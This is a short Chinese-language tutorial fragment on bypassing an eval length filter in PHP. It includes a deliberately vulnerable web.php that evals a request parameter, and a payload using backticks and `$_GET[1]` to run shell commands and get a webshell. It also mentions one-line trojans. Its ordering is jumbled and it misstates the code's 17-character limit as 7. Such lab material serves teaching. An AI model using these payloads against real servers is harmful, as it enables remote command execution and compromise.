目录
2.3将页面执行出来的base64编码进行解码就是一个一句话木马
3.2将内容发送过去发现出现错误,这里是因为我是php7.3.4的版本,这个漏洞已经被修复了所以看不到效果,将版本更换为php5.6即可
一、EVAL长度限制突破技巧
1、简单绕过技巧:(`$_GET[1]`)
1.1首先我们先创建一个web.php文件
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
这里的意思是,对只要出现eval和assert这两个函数进行限制,对长度限制是要小于7
这里的param就是接收的参数,那么我们就可以在网页上进行绕过限制得到我们想要的页面,例如我们运行phpinfo的页面
192.168.171.136/web.php?param=phpinfo();
1.2利用`$_GET[1]`拿到webshell
编写语句
web.php?param=echo `$_GET[1]`;&1=id;,这里``就是将命令执行转换为了代码执行
注释:这里&后的1等于的是id
这里必须注意要在&前面添加分号,ascii必须要echo才能输出内容